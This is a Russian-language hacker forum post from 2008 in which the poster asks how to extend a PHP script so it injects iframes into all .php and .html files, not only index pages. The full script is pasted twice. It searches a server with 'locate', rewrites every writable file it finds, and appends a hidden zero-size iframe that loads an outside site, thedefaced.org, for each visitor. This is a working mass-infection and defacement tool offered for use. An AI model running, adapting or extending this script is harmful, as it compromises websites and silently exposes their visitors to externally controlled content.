heks
27.11.2008, 15:51
имеется такой скрипт надо что бы он ифреимил не только индексные страницы а все подряд с расширением php html ну и т.д.
<?php
error_reporting(0);
if(!ini_get('safe_mode')) {
set_time_limit(0);
ini_set('memory_limit','512M');
}
$locate=array('index.php','index.htm','index.html' ,'*.php');
echo"\nStarting Cycle!\n\n";
foreach($locate as $key => $loc) {
if(@exec('locate '.$loc, $files[$key]))
echo"Stored $loc Files\n";
}
$files=@array_merge($files[0], $files[1], $files[2]); //edit this prior to what you set above within the $locate Array!
$cnt0=@count($files);
echo"\nComplete Merge -> $cnt0\n";
foreach($files as $file) {
if (!@is_dir($file)&&@is_readable($file)&&@is_writable($file))
$d[] = $file;
}
$files=$d; $cnt1=@count($files); $cntchg=$cnt0-$cnt1;
echo"Complete Re-Order! -> $cntchg Removed of Total $cnt0 Leaving $cnt1.\n";
if($cnt1<1) {
echo"\nAttn: No files will be re-wrote due to permission errors!";
}
else {
foreach($files as $x => $file) {
$x++;
echo"$x/$cnt1 <- Rewrote: $file\n";
$filedata=@implode('', file($file));
$filedata=@str_replace('<iframe src=\'http://thedefaced.org/forums/\' width=\'0\' height=\'0\' frameborder=\'0\'></iframe>', '', $filedata);
$filedata.='<iframe src=\'http://thedefaced.org/forums/\' width=\'0\' height=\'0\' frameborder=\'0\'></iframe>';
$f=@fopen($file, 'w');
@fwrite($f, $filedata);
@fclose($f);
}
}
echo"\n\nEnd!\n";
?>
<?php
error_reporting(0);
if(!ini_get('safe_mode')) {
set_time_limit(0);
ini_set('memory_limit','512M');
}
$locate=array('index.php','index.htm','index.html' ,'*.php');
echo"\nStarting Cycle!\n\n";
foreach($locate as $key => $loc) {
if(@exec('locate '.$loc, $files[$key]))
echo"Stored $loc Files\n";
}
$files=@array_merge($files[0], $files[1], $files[2]); //edit this prior to what you set above within the $locate Array!
$cnt0=@count($files);
echo"\nComplete Merge -> $cnt0\n";
foreach($files as $file) {
if (!@is_dir($file)&&@is_readable($file)&&@is_writable($file))
$d[] = $file;
}
$files=$d; $cnt1=@count($files); $cntchg=$cnt0-$cnt1;
echo"Complete Re-Order! -> $cntchg Removed of Total $cnt0 Leaving $cnt1.\n";
if($cnt1<1) {
echo"\nAttn: No files will be re-wrote due to permission errors!";
}
else {
foreach($files as $x => $file) {
$x++;
echo"$x/$cnt1 <- Rewrote: $file\n";
$filedata=@implode('', file($file));
$filedata=@str_replace('<iframe src=\'http://thedefaced.org/forums/\' width=\'0\' height=\'0\' frameborder=\'0\'></iframe>', '', $filedata);
$filedata.='<iframe src=\'http://thedefaced.org/forums/\' width=\'0\' height=\'0\' frameborder=\'0\'></iframe>';
$f=@fopen($file, 'w');
@fwrite($f, $filedata);
@fclose($f);
}
}
echo"\n\nEnd!\n";
?>